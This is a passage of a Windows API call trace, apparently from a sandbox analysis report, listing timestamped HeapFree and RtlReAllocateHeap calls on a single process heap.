hHeap=0x670000) returned 1 [0224.090] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.091] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.092] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.094] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.095] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.096] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.099] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.100] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.101] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41460a8 | out: hHeap=0x670000) returned 1 [0224.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.103] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.104] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4135098 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.316] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.317] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.318] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.319] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41760c0 | out: hHeap=0x670000) returned 1 [0224.320] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.689] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4179318 | out: hHeap=0x670000) returned 1 [0224.689] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4179318 | out: hHeap=0x670000) returned 1 [0224.696] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.720] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.722] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.724] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.724] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.724] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.727] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.727] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.729] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.729] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.744] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x419a330 | out: hHeap=0x670000) returned 1 [0224.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41560b0 | out: hHeap=0x670000) returned 1 [0224.745] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0224.746] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0224.747] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0224.772] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0224.773] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0224.776] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0225.000] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41550a8 | out: hHeap=0x670000) returned 1 [0225.002] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0225.006] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6e7008, Size=0x10000) returned 0x4188318 [0225.007] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0225.008] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0225.008] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.011] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0225.020] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0225.023] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0225.023] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0225.024] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41450a0 | out: hHeap=0x670000) returned 1 [0225.102] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.108] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.110] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.111] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0225.118] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.119] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.120] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.129] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.135] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.141] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0225.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.148] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.192] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.198] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0225.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0225.199] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0225.201] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4178310 | out: hHeap=0x670000) returned 1 [0225.208] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0225.229] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4145068 | out: hHeap=0x670000) returned 1 [0225.239] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0225.795] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x4188318, Size=0x20000) returned 0x41bde30 [0226.330] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0226.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4188318 | out: hHeap=0x670000) returned 1 [0226.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0226.337] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0226.345] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0226.349] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0226.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0226.355] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0226.363] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0226.366] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0226.866] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0227.880] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x41bde30, Size=0x40000) returned 0x421de40 [0228.552] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0228.770] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0229.035] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0229.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0229.175] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0229.213] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0229.215] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4155070 | out: hHeap=0x670000) returned 1 [0229.219] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0229.221] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0229.232] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0229.236] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0229.243] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0229.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0229.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0229.510] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0229.511] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0229.773] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4198320 | out: hHeap=0x670000) returned 1 [0229.875] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0229.897] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0229.903] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0230.093] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0230.786] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.589] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.591] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.593] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.594] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.598] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.600] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.602] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.612] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.617] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.618] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.620] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.622] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.624] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.626] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.628] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.664] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.912] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.917] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.919] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.922] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.924] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.926] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.928] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.930] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.932] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.934] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.936] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.938] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0231.940] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0232.064] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0232.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0232.304] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41ede48 | out: hHeap=0x670000) returned 1 [0232.534] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0232.691] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0233.134] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0233.136] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0233.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0233.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.138] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0233.144] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0233.146] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.149] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.151] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.155] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.157] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.159] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.589] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x421de40, Size=0x80000) returned 0x4c9f020 [0233.615] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.629] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.631] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.633] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.635] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.637] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.639] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.641] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.643] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.645] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.647] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.649] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.651] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.658] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.660] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0233.942] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.943] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.945] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.947] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.949] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.951] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.953] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.955] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.956] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.959] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.961] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.963] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.965] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.967] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.968] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.970] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0233.972] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0234.255] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0234.497] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.499] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.502] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.505] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.507] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.772] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.780] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.787] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.789] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.796] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.802] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.817] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.822] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.831] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 [0234.845] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x41cde38 | out: hHeap=0x670000) returned 1 